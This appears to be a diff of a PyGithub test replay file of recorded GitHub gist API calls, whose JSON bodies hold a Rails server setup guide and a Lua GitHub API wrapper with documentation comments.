'max-age=0, private, must-revalidate'), ('content-length', '1510'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/gists/6296732'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 16:28:24 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('etag', '\"ceb086d4f395719d1124cade5cedbfd4\"'), ('x-ratelimit-reset', '1377104997')]\n+{\"url\":\"https://api.github.com/gists/6296732\",\"forks_url\":\"https://api.github.com/gists/6296732/forks\",\"commits_url\":\"https://api.github.com/gists/6296732/commits\",\"id\":\"6296732\",\"git_pull_url\":\"https://gist.github.com/6296732.git\",\"git_push_url\":\"https://gist.github.com/6296732.git\",\"html_url\":\"https://gist.github.com/6296732\",\"files\":{},\"public\":true,\"created_at\":\"2013-08-21T16:28:24Z\",\"updated_at\":\"2013-08-21T16:28:24Z\",\"description\":\"Github API\",\"comments\":0,\"user\":{\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"url\":\"https://api.github.com/users/jacquev6\",\"html_url\":\"https://github.com/jacquev6\",\"followers_url\":\"https://api.github.com/users/jacquev6/followers\",\"following_url\":\"https://api.github.com/users/jacquev6/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/jacquev6/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/jacquev6/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/jacquev6/subscriptions\",\"organizations_url\":\"https://api.github.com/users/jacquev6/orgs\",\"repos_url\":\"https://api.github.com/users/jacquev6/repos\",\"events_url\":\"https://api.github.com/users/jacquev6/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/jacquev6/received_events\",\"type\":\"User\"},\"comments_url\":\"https://api.github.com/gists/6296732/comments\"}\n \n https\n GET\n api.github.com\n None\n-/gists/2729865\n+/gists/6296732\n {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\n null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '3460'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"e829012f18db493a69740de762186eb5\"'), ('date', 'Sat, 19 May 2012 07:26:54 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"description\":\"RoR setup in AWS EC2(Ubuntu 12.04 LTS)\",\"comments\":0,\"updated_at\":\"2012-05-19T07:25:30Z\",\"public\":true,\"git_pull_url\":\"git://gist.github.com/2729865.git\",\"history\":[{\"user\":{\"url\":\"https://api.github.com/users/Kechol\",\"avatar_url\":\"https://secure.gravatar.com/avatar/f2a6400b393749ccd9ad3f24d4995f77?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"f2a6400b393749ccd9ad3f24d4995f77\",\"login\":\"Kechol\",\"id\":625489},\"change_status\":{\"total\":57,\"deletions\":0,\"additions\":57},\"committed_at\":\"2012-05-19T07:06:08Z\",\"version\":\"a655d19a12233e5e5615deb714eae95c433eed57\",\"url\":\"https://api.github.com/gists/2729865/a655d19a12233e5e5615deb714eae95c433eed57\"}],\"git_push_url\":\"git@gist.github.com:2729865.git\",\"url\":\"https://api.github.com/gists/2729865\",\"fork_of\":{\"user\":{\"url\":\"https://api.github.com/users/Kechol\",\"avatar_url\":\"https://secure.gravatar.com/avatar/f2a6400b393749ccd9ad3f24d4995f77?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"f2a6400b393749ccd9ad3f24d4995f77\",\"login\":\"Kechol\",\"id\":625489},\"description\":\"RoR setup in AWS EC2(Ubuntu 12.04 LTS)\",\"comments\":0,\"updated_at\":\"2012-05-19T07:06:08Z\",\"public\":true,\"git_pull_url\":\"git://gist.github.com/2729818.git\",\"git_push_url\":\"git@gist.github.com:2729818.git\",\"url\":\"https://api.github.com/gists/2729818\",\"html_url\":\"https://gist.github.com/2729818\",\"id\":\"2729818\",\"created_at\":\"2012-05-19T07:06:08Z\",\"files\":{\"ror.markdown\":{\"type\":\"text/plain\",\"size\":1076,\"filename\":\"ror.markdown\",\"raw_url\":\"https://gist.github.com/raw/2729818/1284e70f4c16550ef32a26aa4f5f0c78edaa7008/ror.markdown\",\"language\":\"Markdown\"}}},\"html_url\":\"https://gist.github.com/2729865\",\"id\":\"2729865\",\"forks\":[],\"created_at\":\"2012-05-19T07:25:30Z\",\"files\":{\"ror.markdown\":{\"content\":\"## create user\\n\\nsudo useradd -m username\\nvisudo\\n\\n## delete default user\\n\\nsudo userdel ubuntu\\nsudo rm -Rf ubuntu\\n\\n## setup ssh\\n\\nmkdir ~/.ssh\\nvi /etc/ssh/authorized_keys\\nsudo vi /etc/ssh/sshd_config\\n\\n\\n## install packages\\n\\nsudo apt-get update\\n\\nsudo apt-get install sysv-rc-init git-core apache2-utils wget vim\\nsudo apt-get install mysql-client mysql-server libmysqld-dev\\nsudo apt-get install g++ openssl zlib1g readline-common libyaml-dev libssl-dev zlib1g-dev libxml2-dev libxslt1-dev libjson0-dev libgcc1 libreadline-dev\\n\\n\\n## install nginx\\n\\nwget http://nginx.org/keys/nginx_signing.key\\nsudo apt-key add nginx_signing.key\\n\\n### add /etc/sources.list\\n> \\\"deb http://nginx.org/packages/ubuntu/ lucid nginx\\ndeb-src http://nginx.org/packages/ubuntu/ lucid nginx\\\"\\n\\napt-get update\\napt-get install nginx\\n\\n\\n## setup system\\n\\nsudo sysv-rc-init\\n\\n\\n## install ruby\\n\\ncd /usr/local/src\\nsudo wget ftp://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p194.tar.gz\\nsudo tar zxvf ruby-1.9.3-p194.tar.gz\\ncd ruby-1.9.3-p194\\nsudo ./configure\\nsudo make && make install\\n\\n\\n## install RoR\\n\\nsudo gem install rails\",\"type\":\"text/plain\",\"size\":1076,\"filename\":\"ror.markdown\",\"raw_url\":\"https://gist.github.com/raw/2729865/1284e70f4c16550ef32a26aa4f5f0c78edaa7008/ror.markdown\",\"language\":\"Markdown\"}}}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '26806'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:28:24 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '\"f2916c23435522156274bed022a322e7\"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 16:28:25 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377104997')]\n+{\"url\":\"https://api.github.com/gists/6296732\",\"forks_url\":\"https://api.github.com/gists/6296732/forks\",\"commits_url\":\"https://api.github.com/gists/6296732/commits\",\"id\":\"6296732\",\"git_pull_url\":\"https://gist.github.com/6296732.git\",\"git_push_url\":\"https://gist.github.com/6296732.git\",\"html_url\":\"https://gist.github.com/6296732\",\"files\":{\"GithubAPI.lua\":{\"filename\":\"GithubAPI.lua\",\"type\":\"text/plain\",\"language\":\"Lua\",\"raw_url\":\"https://gist.github.com/raw/6296732/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua\",\"size\":21229,\"content\":\"-- GithubAPI\\n-- @Author : Hyro Vitaly Protago\\n-- @Version : 1.0.0\\n\\n--[[\\n\\nINFOS :\\n - Cannot delete an anonymous gist\\n]]--\\n\\nGithubAPI = {\\n\\tlocation = \\\"https://api.github.com/\\\",\\n\\ttoken = nil,\\n\\tOAuth = {\\n\\t\\tauthorizations = {}\\n\\t},\\n\\tgist = {\\n\\t\\tlist = {},\\n\\t\\tcomment = {}\\n\\t},\\n\\tgithub = {}\\n}\\n\\n----------------------------------------------------------------------------\\n------------------------------ Github API ----------------------------------\\n----------------------------------------------------------------------------\\n\\n--- Authentication ---\\n\\n--[[ Scopes --\\n\\nScopes let you specify exactly what type of access you need. Scopes limit access for OAuth tokens.\\nThey do not grant any additional permission beyond that which the user already has.\\n\\nFor the web flow, requested scopes will be displayed to the user on the authorize form.\\n\\nCheck headers to see what OAuth scopes you have, and what the API action accepts.\\n\\n~~~\\n$ curl -H \\\"Authorization: token OAUTH-TOKEN\\\" https://api.github.com/users/technoweenie -I\\nHTTP/1.1 200 OK\\nX-OAuth-Scopes: repo, user\\nX-Accepted-OAuth-Scopes: user\\nX-OAuth-Scopes lists the scopes your token has authorized. X-Accepted-OAuth-Scopes lists the scopes that the action checks for.\\n~~~\\n\\n- (no scope)\\npublic read-only access (includes public user profile info, public repo info, and gists).\\n- user\\nRead/write access to profile info only. Note: this scope includes user:email and user:follow.\\n- user:email\\nRead access to a user’s email addresses.\\n- user:follow\\nAccess to follow or unfollow other users.\\n- public_repo\\nRead/write access to public repos and organizations.\\n- repo\\nRead/write access to public and private repos and organizations.\\n- repo:status\\nRead/write access to public and private repository commit statuses.\\nThis scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.\\nThe repo and public_repo scopes already include access to commit status for private and public repositories respectively.\\n- delete_repo\\nDelete access to adminable repositories.\\n- notifications\\nRead access to a user’s notifications. repo is accepted too.\\n- gist\\nWrite access to gists.\\n\\nNOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them by a comma.\\n~~~\\nhttps://github.com/login/oauth/authorize?\\n client_id=...&\\n scope=user,public_repo\\n~~~\\n]]--\\n\\n-- Redirect users to request GitHub access --\\nfunction GithubAPI.OAuth.getToken(client_id, scope, callback)\\n\\tGithubAPI.http_request(\\\"https://github.com/login/oauth/authorize?client_id=\\\"..client_id..\\\"&scope=\\\"..scope, function(data, status, headers)\\n\\t\\tGithubAPI.OAuth._getToken(client_id, client_secret, data, callback)\\n\\tend, nil, true)\\nend\\n-- GitHub redirects back to your site --\\nfunction GithubAPI.OAuth._getToken(client_id, client_secret, code, callback)\\n\\tGithubAPI.http_request(\\\"https://github.com/login/oauth/access_token\\\", callback, {\\n\\t\\tmethod = \\\"POST\\\",\\n\\t\\tdata = {\\n\\t\\t\\tclient_id = client_id,\\n\\t\\t\\tclient_secret = client_secret,\\n\\t\\t\\tcode = code\\n\\t\\t}\\n\\t}, true)\\nend\\n\\n-- List your authorizations --\\nfunction GithubAPI.OAuth.authorizations.list(callback)\\n\\tGithubAPI.http_request(\\\"authorizations\\\", callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nLink: ; rel=\\\"next\\\",\\n ; rel=\\\"last\\\"\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n[\\n {\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/authorizations/1\\\",\\n \\\"scopes\\\": [\\n \\\"public_repo\\\"\\n ],\\n \\\"token\\\": \\\"abc123\\\",\\n \\\"app\\\": {\\n \\\"url\\\": \\\"http://my-github-app.com\\\",\\n \\\"name\\\": \\\"my github app\\\",\\n \\\"client_id\\\": \\\"abcde12345fghij67890\\\"\\n },\\n \\\"note\\\": \\\"optional note\\\",\\n \\\"note_url\\\": \\\"http://optional/note/url\\\",\\n \\\"updated_at\\\": \\\"2011-09-06T20:39:23Z\\\",\\n \\\"created_at\\\": \\\"2011-09-06T17:26:27Z\\\"\\n }\\n]\\n]]--\\n\\n-- Get a single authorization --\\nfunction GithubAPI.OAuth.authorizations.get(id, callback)\\n\\tGithubAPI.http_request(\\\"authorizations/\\\"..id, callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/authorizations/1\\\",\\n \\\"scopes\\\": [\\n \\\"public_repo\\\"\\n ],\\n \\\"token\\\": \\\"abc123\\\",\\n \\\"app\\\": {\\n \\\"url\\\": \\\"http://my-github-app.com\\\",\\n \\\"name\\\": \\\"my github app\\\",\\n \\\"client_id\\\": \\\"abcde12345fghij67890\\\"\\n },\\n \\\"note\\\": \\\"optional note\\\",\\n \\\"note_url\\\": \\\"http://optional/note/url\\\",\\n \\\"updated_at\\\": \\\"2011-09-06T20:39:23Z\\\",\\n \\\"created_at\\\": \\\"2011-09-06T17:26:27Z\\\"\\n}\\n]]--\\n\\n-- Create a new authorization --\\nfunction GithubAPI.OAuth.authorizations.create(callback, scopes, note, note_url, client_id, client_secret)\\n\\tGithubAPI.http_request(\\\"authorizations/\\\", callback, {\\n\\t\\tmethod = \\\"POST\\\",\\n\\t\\tdata = {\\n\\t\\t\\tscopes = scopes,\\n\\t\\t\\tnote = note,\\n\\t\\t\\tnote_url = note_url,\\n\\t\\t\\tclient_id = client_id,\\n\\t\\t\\tclient_secret = client_secret\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\nscopes\\nOptional array - A list of scopes that this authorization is in.\\n\\nnote\\nOptional string - A note to remind you what the OAuth token is for.\\n\\nnote_url\\nOptional string - A URL to remind you what app the OAuth token is for.\\n\\nclient_id\\nOptional String - The 20 character OAuth app client key for which to create the token.\\n\\nclient_secret\\nOptional String - The 40 character OAuth app client secret for which to create the token.\\n~~~\\n{\\n \\\"scopes\\\": [\\n \\\"public_repo\\\"\\n ],\\n \\\"note\\\": \\\"admin script\\\"\\n}\\n~~~\\n]]--\\n\\n--[[ Response --\\nStatus: 201 Created\\nLocation: https://api.github.com/authorizations/1\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"id\\\": 1,\\n \\\"url\\\": \\\"https://api.github.com/authorizations/1\\\",\\n \\\"scopes\\\": [\\n \\\"public_repo\\\"\\n ],\\n \\\"token\\\": \\\"abc123\\\",\\n \\\"app\\\": {\\n \\\"url\\\": \\\"http://my-github-app.com\\\",\\n \\\"name\\\": \\\"my github app\\\",\\n \\\"client_id\\\": \\\"abcde12345fghij67890\\\"\\n },\\n \\\"note\\\": \\\"optional note\\\",\\n \\\"note_url\\\": \\\"http://optional/note/url\\\",\\n \\\"updated_at\\\": \\\"2011-09-06T20:39:23Z\\\",\\n \\\"created_at\\\": \\\"2011-09-06T17:26:27Z\\\"\\n}\\n]]--\\n\\n-- TODO\\n-- Update\\n-- Check\\n-- Delete\\n\\n--- GISTS ---\\n\\n-- List gists --\\nfunction GithubAPI.gist.list.user(user, callback)\\n\\tGithubAPI.http_request(\\\"users/\\\"..user..\\\"/gists\\\", callback)\\nend\\nfunction GithubAPI.gist.list.all(callback) -- return all public gists if called anonymously\\n\\tGithubAPI.http_request(\\\"gists\\\", callback)\\nend\\nfunction GithubAPI.gist.list.allPublic(callback)\\n\\tGithubAPI.http_request(\\\"gists/public\\\", callback)\\nend\\nfunction GithubAPI.gist.list.starred(callback)\\n\\tGithubAPI.http_request(\\\"gists/starred\\\", callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nLink: ; rel=\\\"next\\\",\\n ; rel=\\\"last\\\"\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n[\\n {\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n }\\n]\\n]]--\\n\\n-- Get a single gist --\\nfunction GithubAPI.gist.get(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id, callback)\\nend\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\",\\n \\\"forks\\\": [\\n {\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"url\\\": \\\"https://api.github.com/gists/add0d71b065f55c46f60\\\",\\n \\\"created_at\\\": \\\"2011-04-14T16:00:49Z\\\"\\n }\\n ],\\n \\\"history\\\": [\\n {\\n \\\"url\\\": \\\"https://api.github.com/gists/80bdb0d081c447600e18\\\",\\n \\\"version\\\": \\\"57a7f021a713b1c5a6a199b54cc514735d2d462f\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"change_status\\\": {\\n \\\"deletions\\\": 0,\\n \\\"additions\\\": 180,\\n \\\"total\\\": 180\\n },\\n \\\"committed_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n }\\n ]\\n}\\n]]--\\n\\n-- Create a gist --\\nfunction GithubAPI.gist.create(public, files, callback ,description)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id, callback, {\\n\\t\\tmethod = \\\"POST\\\",\\n\\t\\tdata = {\\n\\t\\t\\tpublic = public,\\n\\t\\t\\tfiles = files,\\n\\t\\t\\tdescription = description\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\n{\\n \\\"description\\\": \\\"the description for this gist\\\",\\n \\\"public\\\": true,\\n \\\"files\\\": {\\n \\\"file1.txt\\\": {\\n \\\"content\\\": \\\"String file contents\\\"\\n }\\n }\\n}\\n]]--\\n\\n--[[ Response --\\nStatus: 201 Created\\nLocation: https://api.github.com/gists/1\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\",\\n \\\"forks\\\": [\\n {\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"url\\\": \\\"https://api.github.com/gists/add0d71b065f55c46f60\\\",\\n \\\"created_at\\\": \\\"2011-04-14T16:00:49Z\\\"\\n }\\n ],\\n \\\"history\\\": [\\n {\\n \\\"url\\\": \\\"https://api.github.com/gists/80bdb0d081c447600e18\\\",\\n \\\"version\\\": \\\"57a7f021a713b1c5a6a199b54cc514735d2d462f\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"change_status\\\": {\\n \\\"deletions\\\": 0,\\n \\\"additions\\\": 180,\\n \\\"total\\\": 180\\n },\\n \\\"committed_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n }\\n ]\\n}\\n]]--\\n\\n-- Edit a gist --\\nfunction GithubAPI.gist.edit(id, files, callback, description)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id, callback, {\\n\\t\\tmethod = \\\"PATCH\\\",\\n\\t\\tdata = {\\n\\t\\t\\tid = id,\\n\\t\\t\\tfiles = files,\\n\\t\\t\\tdescription = description\\n\\t\\t}\\n\\t})\\nend\\n\\n--[[ Input --\\n{\\n \\\"description\\\": \\\"the description for this gist\\\",\\n \\\"files\\\": {\\n \\\"file1.txt\\\": {\\n \\\"content\\\": \\\"updated file contents\\\"\\n },\\n \\\"old_name.txt\\\": {\\n \\\"filename\\\": \\\"new_name.txt\\\",\\n \\\"content\\\": \\\"modified contents\\\"\\n },\\n \\\"new_file.txt\\\": {\\n \\\"content\\\": \\\"a new file\\\"\\n },\\n \\\"delete_this_file.txt\\\": null\\n }\\n}\\n]]--\\n\\n--[[ Response --\\nStatus: 200 OK\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\",\\n \\\"forks\\\": [\\n {\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"url\\\": \\\"https://api.github.com/gists/add0d71b065f55c46f60\\\",\\n \\\"created_at\\\": \\\"2011-04-14T16:00:49Z\\\"\\n }\\n ],\\n \\\"history\\\": [\\n {\\n \\\"url\\\": \\\"https://api.github.com/gists/80bdb0d081c447600e18\\\",\\n \\\"version\\\": \\\"57a7f021a713b1c5a6a199b54cc514735d2d462f\\\",\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"change_status\\\": {\\n \\\"deletions\\\": 0,\\n \\\"additions\\\": 180,\\n \\\"total\\\": 180\\n },\\n \\\"committed_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n }\\n ]\\n}\\n]]--\\n\\n-- Star a gist --\\nfunction GithubAPI.gist.star(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id..\\\"/star\\\", callback, {method=\\\"PUT\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n-- Unstar a gist --\\nfunction GithubAPI.gist.unstar(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id..\\\"/star\\\", callback, {method=\\\"DELETE\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n-- Check if a gist is starred --\\nfunction GithubAPI.gist.checkStar(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id..\\\"/star\\\", callback)\\nend\\n\\n--[[\\n-- Response if gist is starred --\\nStatus: 204 No Content\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n\\n-- Response if gist is not starred --\\nStatus: 404 Not Found\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n]]--\\n\\n-- Fork a gist --\\nfunction GithubAPI.gist.fork(id, callback)\\n\\tGithubAPI.http_request(\\\"gists/\\\"..id..\\\"/forks\\\", callback, {method=\\\"POST\\\"})\\nend\\n\\n--[[ Response --\\nStatus: 201 Created\\nLocation: https://api.github.com/gists/2\\nX-RateLimit-Limit: 5000\\nX-RateLimit-Remaining: 4999\\n{\\n \\\"url\\\": \\\"https://api.github.com/gists/88a3112be74ba6ad701e\\\",\\n \\\"id\\\": \\\"1\\\",\\n \\\"description\\\": \\\"description of gist\\\",\\n \\\"public\\\": true,\\n \\\"user\\\": {\\n \\\"login\\\": \\\"octocat\\\",\\n \\\"id\\\": 1,\\n \\\"avatar_url\\\": \\\"https://github.com/images/error/octocat_happy.gif\\\",\\n \\\"gravatar_id\\\": \\\"somehexcode\\\",\\n \\\"url\\\": \\\"https://api.github.com/users/octocat\\\"\\n },\\n \\\"files\\\": {\\n \\\"ring.erl\\\": {\\n \\\"size\\\": 932,\\n \\\"filename\\\": \\\"ring.erl\\\",\\n \\\"raw_url\\\": \\\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\\\"\\n }\\n },\\n \\\"comments\\\": 0,\\n \\\"comments_url\\\": \\\"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\\\",\\n \\\"html_url\\\": \\\"https://gist.github.com/1\\\",\\n \\\"git_pull_url\\\": \\\"git://gist.github.com/1.git\\\",\\n \\\"git_push_url\\\": \\\"git@gist.github.com:1.git\\\",\\n \\\"created_at\\\": \\\"2010-04-14T02:15:15Z\\\"\\n}\\n]]--\\n\\n-- Delete a gist 